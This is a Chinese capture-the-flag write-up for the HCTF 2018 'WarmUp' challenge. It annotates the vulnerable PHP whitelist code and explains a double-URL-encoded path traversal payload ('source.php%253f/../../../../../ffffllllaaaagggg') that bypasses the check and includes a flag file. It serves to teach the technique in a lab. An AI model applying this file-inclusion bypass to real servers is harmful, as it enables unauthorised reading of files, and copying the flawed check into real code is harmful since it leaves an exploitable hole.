[HCTF 2018]WarmUp

有两个隐藏的信息,大家基本能找到:source.php和hint.php
下边是源码,和一些我写的解析

"source.php","hint"=>"hint.php"];
            //isset()函数:    检测变量是否设置,并且不是 NULL
            //如果已经使用unset() 释放了一个变量之后,它将不再是 isset()
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
			//in_array(needle,sea,bool) — 检查数组中是否存在某个值
            if (in_array($page, $whitelist)) {
                return true;
            }
			//字符串截断从0开始到第一个?结束
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
			//第二次url解码
            $_page = urldecode($page);
            //!!!这是第二次截取
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')//寻找第一次出现的位置
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"; } ?>

//?file=source.php?/…/…/…/…/…/ffffllllaaaagggg就是我萌要传的真实payload的原本样子

下边有个知识点原理!!!!!!!!
下边windows这个zzd?是个不存在的文件夹,但是这个zzd?问价夹的上一级目录就是当前目录“desktop”,所有php的问题也是如此。
[HCTF 2018]WarmUp_第1张图片
Linux没有问题
[HCTF 2018]WarmUp_第2张图片
PHP也有这个问题:[HCTF 2018]WarmUp_第3张图片
//?file=source.php?/…/…/…/…/…/ffffllllaaaagggg

payload如下:
需要二次urlencode:

//file=source.php%253f/../../../../../ffffllllaaaagggg

flag就靠大家自己解决了,有问题的话请评论。

你可能感兴趣的:(Php,ctf-web)